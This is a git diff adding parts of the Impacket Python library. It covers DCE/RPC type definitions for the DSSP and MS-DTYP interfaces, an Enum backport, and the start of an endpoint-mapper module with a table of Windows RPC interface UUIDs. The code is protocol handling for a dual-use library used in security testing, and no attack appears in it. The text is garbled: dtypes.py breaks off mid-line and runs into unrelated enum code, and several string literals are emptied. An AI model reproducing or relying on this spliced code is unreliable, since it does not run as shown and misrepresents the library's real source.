DSROLE_PRIMARY_DOMAIN_INFO_LEVEL +class DSROLE_PRIMARY_DOMAIN_INFO_LEVEL(NDRENUM): + class enumItems(Enum): + DsRolePrimaryDomainInfoBasic = 1 + DsRoleUpgradeStatus = 2 + DsRoleOperationState = 3 + +# 2.2.8 DSROLER_PRIMARY_DOMAIN_INFORMATION +class DSROLER_PRIMARY_DOMAIN_INFORMATION(NDRUNION): + commonHdr = ( + ('tag', DSROLE_PRIMARY_DOMAIN_INFO_LEVEL), + ) + + union = { + DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRolePrimaryDomainInfoBasic : ('DomainInfoBasic', DSROLER_PRIMARY_DOMAIN_INFO_BASIC), + DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRoleUpgradeStatus : ('UpgradStatusInfo', DSROLE_UPGRADE_STATUS_INFO), + DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRoleOperationState : ('OperationStateInfo', DSROLE_OPERATION_STATE_INFO), + } + +class PDSROLER_PRIMARY_DOMAIN_INFORMATION(NDRPOINTER): + referent = ( + ('Data', DSROLER_PRIMARY_DOMAIN_INFORMATION), + ) + +################################################################################ +# RPC CALLS +################################################################################ +# 3.2.5.1 DsRolerGetPrimaryDomainInformation (Opnum 0) +class DsRolerGetPrimaryDomainInformation(NDRCALL): + opnum = 0 + structure = ( + ('InfoLevel', DSROLE_PRIMARY_DOMAIN_INFO_LEVEL), + ) + +class DsRolerGetPrimaryDomainInformationResponse(NDRCALL): + structure = ( + ('DomainInfo', PDSROLER_PRIMARY_DOMAIN_INFORMATION), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 0 : (DsRolerGetPrimaryDomainInformation, DsRolerGetPrimaryDomainInformationResponse), +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hDsRolerGetPrimaryDomainInformation(dce, infoLevel): + request = DsRolerGetPrimaryDomainInformation() + request['InfoLevel'] = infoLevel + return dce.request(request) diff --git a/impacket/dcerpc/v5/dtypes.py b/impacket/dcerpc/v5/dtypes.py new file mode 100644 index 0000000..8c30838 --- /dev/null +++ b/impacket/dcerpc/v5/dtypes.py @@ -0,0 +1,546 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-DTYP] Interface mini implementation +# +# Author: +# Alberto Solino (@agsolino) +# + +from __future__ import division +from __future__ import print_function +from struct import pack +from six import binary_type + +from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \ + NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \ + NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL + +DWORD = NDRULONG +BOOL = NDRULONG +UCHAR = NDRUSMALL +SHORT = NDRSHORT +NULL = NULL + +class LPDWORD(NDRPOINTER): + referent = ( + ('Data', DWORD), + ) + +class PSHORT(NDRPOINTER): + referent = ( + ('Data', SHORT), + ) + +class PBOOL(NDRPOINTER): + referent = ( + ('Data', BOOL), + ) + +class LPBYTE(NDRPOINTER): + referent = ( + ('Data', NDRUniConformantArray), + ) +PBYTE = LPBYTE + +# 2.2.4 BOOLEAN +BOOLEAN = NDRBOOLEAN + +# 2.2.6 BYTE +BYTE = NDRUSMALL + +# 2.2.7 CHAR +CHAR = NDRSMALL +class PCHAR(NDRPOINTER): + referent = ( + ('Data', CHAR), + ) + +class WIDESTR(NDRUniFixedArray): + def getDataLen(self, data, offset=0): + return data.find(b'\x00\x00\x00', offset)+3-offset + + def __setitem__(self, key, value): + if key == 'Data': + try: + self.fields[key] = value.encode('utf-16le') + except UnicodeDecodeError: + import sys + self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le') + + self.data = None # force recompute + else: + return NDR.__setitem__(self, key, value) + + def __getitem__(self, key): + if key == 'Data': + return self.fields[key].decode('utf-16le') + else: + return NDR.__getitem__(self,key) + +class STR(NDRSTRUCT): + commonHdr = ( + ('MaximumCount', ' 4) + + +def _is_sunder(name): + """Returns True if a _sunder_ name, False otherwise.""" + return (name[0] == name[-1] == '_' and + name[1:2] != '_' and + name[-2:-1] != '_' and + len(name) > 2) + + +def _make_class_unpicklable(cls): + """Make the given class un-picklable.""" + def _break_on_call_reduce(self): + raise TypeError('%r cannot be pickled' % self) + cls.__reduce__ = _break_on_call_reduce + cls.__module__ = '' + + +class _EnumDict(dict): + """Track enum member order and ensure member names are not reused. + + EnumMeta will use the names found in self._member_names as the + enumeration member names. + + """ + def __init__(self): + super(_EnumDict, self).__init__() + self._member_names = [] + + def __setitem__(self, key, value): + """Changes anything not dundered or not a descriptor. + + If a descriptor is added with the same name as an enum member, the name + is removed from _member_names (this may leave a hole in the numerical + sequence of values). + + If an enum member name is used twice, an error is raised; duplicate + values are not checked for. + + Single underscore (sunder) names are reserved. + + Note: in 3.x __order__ is simply discarded as a not necessary piece + leftover from 2.x + + """ + if pyver >= 3.0 and key == '__order__': + return + if _is_sunder(key): + raise ValueError('_names_ are reserved for future Enum use') + elif _is_dunder(key): + pass + elif key in self._member_names: + # descriptor overwriting an enum? + raise TypeError('Attempted to reuse key: %r' % key) + elif not _is_descriptor(value): + if key in self: + # enum overwriting a descriptor? + raise TypeError('Key already defined as: %r' % self[key]) + self._member_names.append(key) + super(_EnumDict, self).__setitem__(key, value) + + +# Dummy value for Enum as EnumMeta explicitly checks for it, but of course until +# EnumMeta finishes running the first time the Enum class doesn't exist. This +# is also why there are checks in EnumMeta like `if Enum is not None` +Enum = None + + +class EnumMeta(type): + """Metaclass for Enum""" + @classmethod + def __prepare__(metacls, cls, bases): + return _EnumDict() + + def __new__(metacls, cls, bases, classdict): + # an Enum class is final once enumeration items have been defined; it + # cannot be mixed with other types (int, float, etc.) if it has an + # inherited __new__ unless a new __new__ is defined (or the resulting + # class will fail). + if type(classdict) is dict: + original_dict = classdict + classdict = _EnumDict() + for k, v in original_dict.items(): + classdict[k] = v + + member_type, first_enum = metacls._get_mixins_(bases) + #if member_type is object: + # use_args = False + #else: + # use_args = True + __new__, save_new, use_args = metacls._find_new_(classdict, member_type, + first_enum) + # save enum items into separate mapping so they don't get baked into + # the new class + members = dict((k, classdict[k]) for k in classdict._member_names) + for name in classdict._member_names: + del classdict[name] + + # py2 support for definition order + __order__ = classdict.get('__order__') + if __order__ is None: + __order__ = classdict._member_names + if pyver < 3.0: + order_specified = False + else: + order_specified = True + else: + del classdict['__order__'] + order_specified = True + if pyver < 3.0: + __order__ = __order__.replace(',', ' ').split() + aliases = [name for name in members if name not in __order__] + __order__ += aliases + + # check for illegal enum names (any others?) + invalid_names = set(members) & set(['mro']) + if invalid_names: + raise ValueError('Invalid enum member name(s): %s' % ( + ', '.join(invalid_names), )) + + # create our new Enum type + enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict) + enum_class._member_names_ = [] # names in random order + enum_class._member_map_ = {} # name->value map + enum_class._member_type_ = member_type + + # Reverse value->name map for hashable values. + enum_class._value2member_map_ = {} + + # check for a __getnewargs__, and if not present sabotage + # pickling, since it won't work anyway + if (member_type is not object and + member_type.__dict__.get('__getnewargs__') is None + ): + _make_class_unpicklable(enum_class) + + # instantiate them, checking for duplicates as we go + # we instantiate first instead of checking for duplicates first in case + # a custom __new__ is doing something funky with the values -- such as + # auto-numbering ;) + if __new__ is None: + __new__ = enum_class.__new__ + for member_name in __order__: + value = members[member_name] + if not isinstance(value, tuple): + args = (value, ) + else: + args = value + if member_type is tuple: # special case for tuple enums + args = (args, ) # wrap it one more time + if not use_args or not args: + enum_member = __new__(enum_class) + if not hasattr(enum_member, '_value_'): + enum_member._value_ = value + else: + enum_member = __new__(enum_class, *args) + if not hasattr(enum_member, '_value_'): + enum_member._value_ = member_type(*args) + value = enum_member._value_ + enum_member._name_ = member_name + enum_member.__objclass__ = enum_class + enum_member.__init__(*args) + # If another member with the same value was already defined, the + # new member becomes an alias to the existing one. + for name, canonical_member in enum_class._member_map_.items(): + if canonical_member.value == enum_member._value_: + enum_member = canonical_member + break + else: + # Aliases don't appear in member names (only in __members__). + enum_class._member_names_.append(member_name) + enum_class._member_map_[member_name] = enum_member + try: + # This may fail if value is not hashable. We can't add the value + # to the map, and by-value lookups for this value will be + # linear. + enum_class._value2member_map_[value] = enum_member + except TypeError: + pass + + # in Python2.x we cannot know definition order, so go with value order + # unless __order__ was specified in the class definition + if not order_specified: + enum_class._member_names_ = [ + e[0] for e in sorted( + [(name, enum_class._member_map_[name]) for name in enum_class._member_names_], + key=lambda t: t[1]._value_ + )] + + # double check that repr and friends are not the mixin's or various + # things break (such as pickle) + if Enum is not None: + setattr(enum_class, '__getnewargs__', Enum.__getnewargs__) + for name in ('__repr__', '__str__', '__format__'): + class_method = getattr(enum_class, name) + obj_method = getattr(member_type, name, None) + enum_method = getattr(first_enum, name, None) + if obj_method is not None and obj_method is class_method: + setattr(enum_class, name, enum_method) + + # method resolution and int's are not playing nice + # Python's less than 2.6 use __cmp__ + + if pyver < 2.6: + + if issubclass(enum_class, int): + setattr(enum_class, '__cmp__', getattr(int, '__cmp__')) + + elif pyver < 3.0: + + if issubclass(enum_class, int): + for method in ( + '__le__', + '__lt__', + '__gt__', + '__ge__', + '__eq__', + '__ne__', + '__hash__', + ): + setattr(enum_class, method, getattr(int, method)) + + # replace any other __new__ with our own (as long as Enum is not None, + # anyway) -- again, this is to support pickle + if Enum is not None: + # if the user defined their own __new__, save it before it gets + # clobbered in case they subclass later + if save_new: + setattr(enum_class, '__member_new__', enum_class.__dict__['__new__']) + setattr(enum_class, '__new__', Enum.__dict__['__new__']) + return enum_class + + def __call__(cls, value, names=None, module=None, type=None): + """Either returns an existing member, or creates a new enum class. + + This method is used both when an enum class is given a value to match + to an enumeration member (i.e. Color(3)) and for the functional API + (i.e. Color = Enum('Color', names='red green blue')). + + When used for the functional API: `module`, if set, will be stored in + the new class' __module__ attribute; `type`, if set, will be mixed in + as the first base class. + + Note: if `module` is not set this routine will attempt to discover the + calling module by walking the frame stack; if this is unsuccessful + the resulting class will not be pickleable. + + """ + if names is None: # simple value lookup + return cls.__new__(cls, value) + # otherwise, functional API: we're creating a new Enum type + return cls._create_(value, names, module=module, type=type) + + def __contains__(cls, member): + return isinstance(member, cls) and member.name in cls._member_map_ + + def __delattr__(cls, attr): + # nicer error message when someone tries to delete an attribute + # (see issue19025). + if attr in cls._member_map_: + raise AttributeError( + "%s: cannot delete Enum member." % cls.__name__) + super(EnumMeta, cls).__delattr__(attr) + + def __dir__(self): + return (['__class__', '__doc__', '__members__', '__module__'] + + self._member_names_) + + @property + def __members__(cls): + """Returns a mapping of member name->value. + + This mapping lists all enum members, including aliases. Note that this + is a copy of the internal mapping. + + """ + return cls._member_map_.copy() + + def __getattr__(cls, name): + """Return the enum member matching `name` + + We use __getattr__ instead of descriptors or inserting into the enum + class' __dict__ in order to support `name` and `value` being both + properties for enum members (which live in the class' __dict__) and + enum members themselves. + + """ + if _is_dunder(name): + raise AttributeError(name) + try: + return cls._member_map_[name] + except KeyError: + raise AttributeError(name) + + def __getitem__(cls, name): + return cls._member_map_[name] + + def __iter__(cls): + return (cls._member_map_[name] for name in cls._member_names_) + + def __reversed__(cls): + return (cls._member_map_[name] for name in reversed(cls._member_names_)) + + def __len__(cls): + return len(cls._member_names_) + + def __repr__(cls): + return "" % cls.__name__ + + def __setattr__(cls, name, value): + """Block attempts to reassign Enum members. + + A simple assignment to the class namespace only changes one of the + several possible ways to get an Enum member from the Enum class, + resulting in an inconsistent Enumeration. + + """ + member_map = cls.__dict__.get('_member_map_', {}) + if name in member_map: + raise AttributeError('Cannot reassign members.') + super(EnumMeta, cls).__setattr__(name, value) + + def _create_(cls, class_name, names=None, module=None, type=None): + """Convenience method to create a new Enum class. + + `names` can be: + + * A string containing member names, separated either with spaces or + commas. Values are auto-numbered from 1. + * An iterable of member names. Values are auto-numbered from 1. + * An iterable of (member name, value) pairs. + * A mapping of member name -> value. + + """ + metacls = cls.__class__ + if type is None: + bases = (cls, ) + else: + bases = (type, cls) + classdict = metacls.__prepare__(class_name, bases) + __order__ = [] + + # special processing needed for names? + if isinstance(names, str): + names = names.replace(',', ' ').split() + if isinstance(names, (tuple, list)) and isinstance(names[0], str): + names = [(e, i+1) for (i, e) in enumerate(names)] + + # Here, names is either an iterable of (name, value) or a mapping. + for item in names: + if isinstance(item, str): + member_name, member_value = item, names[item] + else: + member_name, member_value = item + classdict[member_name] = member_value + __order__.append(member_name) + # only set __order__ in classdict if name/value was not from a mapping + if not isinstance(item, str): + classdict['__order__'] = ' '.join(__order__) + enum_class = metacls.__new__(metacls, class_name, bases, classdict) + + # TODO: replace the frame hack if a blessed way to know the calling + # module is ever developed + if module is None: + try: + module = _sys._getframe(2).f_globals['__name__'] + except (AttributeError, ValueError): + pass + if module is None: + _make_class_unpicklable(enum_class) + else: + enum_class.__module__ = module + + return enum_class + + @staticmethod + def _get_mixins_(bases): + """Returns the type for creating enum members, and the first inherited + enum class. + + bases: the tuple of bases that was given to __new__ + + """ + if not bases or Enum is None: + return object, Enum + + + # double check that we are not subclassing a class with existing + # enumeration members; while we're at it, see if any other data + # type has been mixed in so we can use the correct __new__ + member_type = first_enum = None + for base in bases: + if (base is not Enum and + issubclass(base, Enum) and + base._member_names_): + raise TypeError("Cannot extend enumerations") + # base is now the last base in bases + if not issubclass(base, Enum): + raise TypeError("new enumerations must be created as " + "`ClassName([mixin_type,] enum_type)`") + + # get correct mix-in type (either mix-in type of Enum subclass, or + # first base if last base is Enum) + if not issubclass(bases[0], Enum): + member_type = bases[0] # first data type + first_enum = bases[-1] # enum type + else: + for base in bases[0].__mro__: + # most common: (IntEnum, int, Enum, object) + # possible: (, , + # , , + # ) + if issubclass(base, Enum): + if first_enum is None: + first_enum = base + else: + if member_type is None: + member_type = base + + return member_type, first_enum + + if pyver < 3.0: + @staticmethod + def _find_new_(classdict, member_type, first_enum): + """Returns the __new__ to be used for creating the enum members. + + classdict: the class dictionary given to __new__ + member_type: the data type whose __new__ will be used by default + first_enum: enumeration to check for an overriding __new__ + + """ + # now find the correct __new__, checking to see of one was defined + # by the user; also check earlier enum classes in case a __new__ was + # saved as __member_new__ + __new__ = classdict.get('__new__', None) + if __new__: + return None, True, True # __new__, save_new, use_args + + N__new__ = getattr(None, '__new__') + O__new__ = getattr(object, '__new__') + if Enum is None: + E__new__ = N__new__ + else: + E__new__ = Enum.__dict__['__new__'] + # check all possibles for __member_new__ before falling back to + # __new__ + for method in ('__member_new__', '__new__'): + for possible in (member_type, first_enum): + try: + target = possible.__dict__[method] + except (AttributeError, KeyError): + target = getattr(possible, method, None) + if target not in [ + None, + N__new__, + O__new__, + E__new__, + ]: + if method == '__member_new__': + classdict['__new__'] = target + return None, False, True + if isinstance(target, staticmethod): + target = target.__get__(member_type) + __new__ = target + break + if __new__ is not None: + break + else: + __new__ = object.__new__ + + # if a non-object.__new__ is used then whatever value/tuple was + # assigned to the enum member name will be passed to __new__ and to the + # new enum member's __init__ + if __new__ is object.__new__: + use_args = False + else: + use_args = True + + return __new__, False, use_args + else: + @staticmethod + def _find_new_(classdict, member_type, first_enum): + """Returns the __new__ to be used for creating the enum members. + + classdict: the class dictionary given to __new__ + member_type: the data type whose __new__ will be used by default + first_enum: enumeration to check for an overriding __new__ + + """ + # now find the correct __new__, checking to see of one was defined + # by the user; also check earlier enum classes in case a __new__ was + # saved as __member_new__ + __new__ = classdict.get('__new__', None) + + # should __new__ be saved as __member_new__ later? + save_new = __new__ is not None + + if __new__ is None: + # check all possibles for __member_new__ before falling back to + # __new__ + for method in ('__member_new__', '__new__'): + for possible in (member_type, first_enum): + target = getattr(possible, method, None) + if target not in ( + None, + None.__new__, + object.__new__, + Enum.__new__, + ): + __new__ = target + break + if __new__ is not None: + break + else: + __new__ = object.__new__ + + # if a non-object.__new__ is used then whatever value/tuple was + # assigned to the enum member name will be passed to __new__ and to the + # new enum member's __init__ + if __new__ is object.__new__: + use_args = False + else: + use_args = True + + return __new__, save_new, use_args + + +######################################################## +# In order to support Python 2 and 3 with a single +# codebase we have to create the Enum methods separately +# and then use the `type(name, bases, dict)` method to +# create the class. +######################################################## +temp_enum_dict = {} +temp_enum_dict['__doc__'] = "Generic enumeration.\n\n Derive from this class to define new enumerations.\n\n" + +def __new__(cls, value): + # all enum instances are actually created during class construction + # without calling this method; this method is called by the metaclass' + # __call__ (i.e. Color(3) ), and by pickle + if type(value) is cls: + # For lookups like Color(Color.red) + value = value.value + #return value + # by-value search for a matching enum member + # see if it's in the reverse mapping (for hashable values) + try: + if value in cls._value2member_map_: + return cls._value2member_map_[value] + except TypeError: + # not there, now do long search -- O(n) behavior + for member in cls._member_map_.values(): + if member.value == value: + return member + raise ValueError("%s is not a valid %s" % (value, cls.__name__)) +temp_enum_dict['__new__'] = __new__ +del __new__ + +def __repr__(self): + return "<%s.%s: %r>" % ( + self.__class__.__name__, self._name_, self._value_) +temp_enum_dict['__repr__'] = __repr__ +del __repr__ + +def __str__(self): + return "%s.%s" % (self.__class__.__name__, self._name_) +temp_enum_dict['__str__'] = __str__ +del __str__ + +def __dir__(self): + added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_'] + return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior) +temp_enum_dict['__dir__'] = __dir__ +del __dir__ + +def __format__(self, format_spec): + # mixed-in Enums should use the mixed-in type's __format__, otherwise + # we can get strange results with the Enum name showing up instead of + # the value + + # pure Enum branch + if self._member_type_ is object: + cls = str + val = str(self) + # mix-in branch + else: + cls = self._member_type_ + val = self.value + return cls.__format__(val, format_spec) +temp_enum_dict['__format__'] = __format__ +del __format__ + + +#################################### +# Python's less than 2.6 use __cmp__ + +if pyver < 2.6: + + def __cmp__(self, other): + if type(other) is self.__class__: + if self is other: + return 0 + return -1 + return NotImplemented + raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__cmp__'] = __cmp__ + del __cmp__ + +else: + + def __le__(self, other): + raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__le__'] = __le__ + del __le__ + + def __lt__(self, other): + raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__lt__'] = __lt__ + del __lt__ + + def __ge__(self, other): + raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__ge__'] = __ge__ + del __ge__ + + def __gt__(self, other): + raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__)) + temp_enum_dict['__gt__'] = __gt__ + del __gt__ + + +def __eq__(self, other): + if type(other) is self.__class__: + return self is other + return NotImplemented +temp_enum_dict['__eq__'] = __eq__ +del __eq__ + +def __ne__(self, other): + if type(other) is self.__class__: + return self is not other + return NotImplemented +temp_enum_dict['__ne__'] = __ne__ +del __ne__ + +def __getnewargs__(self): + return (self._value_, ) +temp_enum_dict['__getnewargs__'] = __getnewargs__ +del __getnewargs__ + +def __hash__(self): + return hash(self._name_) +temp_enum_dict['__hash__'] = __hash__ +del __hash__ + +# _RouteClassAttributeToGetattr is used to provide access to the `name` +# and `value` properties of enum members while keeping some measure of +# protection from modification, while still allowing for an enumeration +# to have members named `name` and `value`. This works because enumeration +# members are not set directly on the enum class -- __getattr__ is +# used to look them up. + +@_RouteClassAttributeToGetattr +def name(self): + return self._name_ +temp_enum_dict['name'] = name +del name + +@_RouteClassAttributeToGetattr +def value(self): + return self._value_ +temp_enum_dict['value'] = value +del value + +Enum = EnumMeta('Enum', (object, ), temp_enum_dict) +del temp_enum_dict + +# Enum has now been created +########################### + +class IntEnum(int, Enum): + """Enum where members are also (and must be) ints""" + + +def unique(enumeration): + """Class decorator that ensures only unique members exist in an enumeration.""" + duplicates = [] + for name, member in enumeration.__members__.items(): + if name != member.name: + duplicates.append((name, member.name)) + if duplicates: + duplicate_names = ', '.join( + ["%s -> %s" % (alias, name) for (alias, name) in duplicates] + ) + raise ValueError('duplicate names found in %r: %s' % + (enumeration, duplicate_names) + ) + return enumeration diff --git a/impacket/dcerpc/v5/epm.py b/impacket/dcerpc/v5/epm.py new file mode 100644 index 0000000..9aecb3e --- /dev/null +++ b/impacket/dcerpc/v5/epm.py @@ -0,0 +1,1386 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-RPCE]-C706 Interface implementation for the remote portmapper +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# +import socket +from struct import unpack +from six import b + +from impacket.uuid import uuidtup_to_bin, bin_to_string +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniVaryingArray, \ + NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import UUID, LPBYTE, PUUID, ULONG, USHORT +from impacket.structure import Structure +from impacket.dcerpc.v5.ndr import NULL +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket import LOG + +MSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0')) + +class DCERPCSessionError(DCERPCException): + error_messages = {} + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + self.error_code = packet['status'] + + def __str__( self ): + key = self.error_code + if key in self.error_messages: + error_msg_short = self.error_messages[key] + return 'EPM SessionError: code: 0x%x - %s ' % (self.error_code, error_msg_short) + else: + return 'EPM SessionError: unknown error code: %s' % (str(self.error_code)) + +################################################################################ +# CONSTANTS +################################################################################ + +KNOWN_UUIDS = { +b"\xb0\x01\x52\x97\xca\x59\xd0\x11\xa8\xd5\x00\xa0\xc9\x0d\x80\x51\x01\x00": "rpcss.dll", +b"\xf1\x8f\x37\xc9\xf7\x16\xd0\x11\xa0\xb2\x00\xaa\x00\x61\x42\x6a\x01\x00": "pstorsvc.dll", +b"\xd4\xa7\x72\x0d\x48\x61\xd1\x11\xb4\xaa\x00\xc0\x4f\xb6\x6e\xa0\x01\x00": "cryptsvc.dll", +b"\x40\x4e\x9f\x8d\x3d\xa0\xce\x11\x8f\x69\x08\x00\x3e\x30\x05\x1b\x01\x00": "services.exe", +b"\xc5\x86\x5a\xda\xc2\x12\x43\x49\xab\x30\x7f\x74\xa8\x13\xd8\x53\x01\x00": "regsvc.dll", +b"\x29\x07\x8a\xfb\x04\x2d\x58\x46\xbe\x93\x27\xb4\xad\x55\x3f\xac\x01\x00": "lsass.exe", +b"\x04\xf7\xd9\x52\xc6\xd3\x48\x47\xad\x11\x25\x50\x20\x9e\x80\xaf\x00\x00": "IMEPADSM.DLL", +b"\xce\xad\x21\xc4\xb2\xa0\x0d\x48\x84\x18\x98\x44\x95\xb3\x2d\x5f\x01\x00": "SLsvc.exe", +b"\x14\xb5\xfb\xd3\x3b\x0e\xcb\x11\x8f\xad\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe", +b"\x6f\x40\x1c\xf6\x60\xbd\x94\x41\x95\x65\xbf\xed\xd5\x25\x6f\x70\x01\x00": "p2phost.exe", +b"\x72\x33\x3d\xc1\x20\xcc\x49\x44\x9b\x23\x8c\xc8\x27\x1b\x38\x85\x01\x00": "rpcrt4.dll", +b"\x70\xfe\x5a\xd9\xd5\xa6\x59\x42\x82\x2e\x2c\x84\xda\x1d\xdb\x0d\x01\x00": "wininit.exe", +b"\x6a\x07\x2d\x55\x29\xcb\x44\x4e\x8b\x6a\xd1\x5e\x59\xe2\xc0\xaf\x01\x00": "iphlpsvc.dll", +b"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9d\x01\x00": "wwansvc.dll", +b"\x43\x9a\x89\x11\x68\x2b\x76\x4a\x92\xe3\xa3\xd6\xad\x8c\x26\xce\x01\x00": "lsm.exe", +b"\xb4\x33\x6f\x26\xc1\xc7\xd1\x4b\x8f\x52\xdd\xb8\xf2\x21\x4e\xa9\x01\x00": "wlansvc.dll", +b"\x68\x9d\xcb\x2a\x34\xb4\x3e\x4b\xb9\x66\xe0\x6b\x4b\x3a\x84\xcb\x01\x00": "bthserv.dll", +b"\xd0\x4c\x67\x57\x00\x52\xce\x11\xa8\x97\x08\x00\x2b\x2e\x9c\x6d\x01\x00": "llssrv.exe", +b"\x52\x44\x7d\x64\x33\x9f\x18\x4a\xb2\xbe\xc5\xc0\xe9\x20\xe9\x4e\x01\x00": "pla.dll", +b"\xc8\x9b\x3b\xde\xf7\xbe\x78\x45\xa0\xde\xf0\x89\x04\x84\x42\xdb\x01\x00": "audiodg.exe", +b"\xd1\x51\xa9\xbf\x0e\x2f\xd3\x11\xbf\xd1\x00\xc0\x4f\xa3\x49\x0a\x01\x00": "aqueue.dll", +b"\x84\x55\x66\x1e\xfe\x40\x50\x44\x8f\x6e\x80\x23\x62\x39\x96\x94\x01\x00": "lsm.exe", +b"\x41\x76\x17\xaa\x9b\xfc\xbd\x41\x80\xff\xf9\x64\xa7\x01\x59\x6f\x01\x00": "tssdis.exe", +b"\xe0\x0c\x6b\x90\x0b\xc7\x67\x10\xb3\x17\x00\xdd\x01\x06\x62\xda\x01\x00": "msdtcprx.dll", +b"\x51\xb9\x6b\xfd\x30\xc8\x34\x47\xbf\x2c\x18\xba\x6e\xc7\xab\x49\x01\x00": "iscsiexe.dll", +b"\x68\xff\x1d\x62\x39\x3c\x6c\x4c\xaa\xe3\xe6\x8e\x2c\x65\x03\xad\x01\x00": "wzcsvc.dll", +b"\x56\xcc\x35\x94\x9c\x1d\x24\x49\xac\x7d\xb6\x0a\x2c\x35\x20\xe1\x01\x00": "sppsvc.exe", +b"\xf0\xe4\x9c\x36\xdc\x0f\xd3\x11\xbd\xe8\x00\xc0\x4f\x8e\xee\x78\x01\x00": "profmap.dll", +b"\x6a\x28\x19\x39\x0c\xb1\xd0\x11\x9b\xa8\x00\xc0\x4f\xd9\x2e\xf5\x00\x00": "lsasrv.dll", +b"\x80\x2b\xd1\x76\x67\x34\xd3\x11\x91\xff\x00\x90\x27\x2f\x9e\xa3\x01\x00": "mqqm.dll", +b"\x72\xfe\x0f\x8d\x52\xd2\xd0\x11\xbf\x8f\x00\xc0\x4f\xd9\x12\x6b\x01\x00": "cryptsvc.dll", +b"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x01\x00": "ismserv.exe", +b"\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00\x00": "rpcss.dll", +b"\x06\x91\x01\x24\x03\xa2\x42\x46\xb8\x8d\x82\xda\xe9\x15\x89\x29\x01\x00": "authui.dll", +b"\x60\xa7\xa4\x5c\xb1\xeb\xcf\x11\x86\x11\x00\xa0\x24\x54\x20\xed\x01\x00": "termsrv.dll", +b"\x4d\xdd\x73\x34\x88\x2e\x06\x40\x9c\xba\x22\x57\x09\x09\xdd\x10\x05\x01": "winhttp.dll", +b"\xb2\xb8\x7d\xb9\x63\x4c\xcf\x11\xbf\xf6\x08\x00\x2b\xe2\x3f\x2f\x02\x00": "clussvc.exe", +b"\x95\x1f\x51\x33\x84\x5b\xcc\x4d\xb6\xcc\x3f\x4b\x21\xda\x53\xe1\x01\x00": "ubpm.dll", +b"\x78\xb2\xeb\x05\x14\xe1\xc1\x4e\xa5\xa3\x09\x61\x53\xf3\x00\xe4\x01\x01": "tsgqec.dll", +b"\x24\xe4\xfb\x63\x29\x20\xd1\x11\x8d\xb8\x00\xaa\x00\x4a\xbd\x5e\x01\x00": "Sens.dll", +b"\x36\xa0\x67\x07\x22\x0d\xaa\x48\xba\x69\xb6\x19\x48\x0f\x38\xcb\x01\x00": "pcasvc.dll", +b"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x00": "netdde.exe", +b"\x30\xa0\xb3\xfd\x5f\x06\xd1\x11\xbb\x9b\x00\xa0\x24\xea\x55\x25\x01\x00": "mqqm.dll", +b"\x80\x7a\xdf\x77\x98\xf2\xd0\x11\x83\x58\x00\xa0\x24\xc4\x80\xa8\x01\x00": "mqdssrv.dll", +b"\x03\x6d\x71\x98\xac\x89\xc7\x44\xbb\x8c\x28\x58\x24\xe5\x1c\x4a\x01\x00": "srvsvc.dll", +b"\xc8\xad\x32\x4f\x52\x60\x04\x4a\x87\x01\x29\x3c\xcf\x20\x96\xf0\x01\x00": "sspisrv.dll", +b"\x90\x38\xa9\x65\xb9\xfa\xa3\x43\xb2\xa5\x1e\x33\x0a\xc2\x8f\x11\x02\x00": "dnsrslvr.dll", +b"\x32\xf5\x03\xc5\x3a\x44\x69\x4c\x83\x00\xcc\xd1\xfb\xdb\x38\x39\x01\x00": "MpSvc.dll", 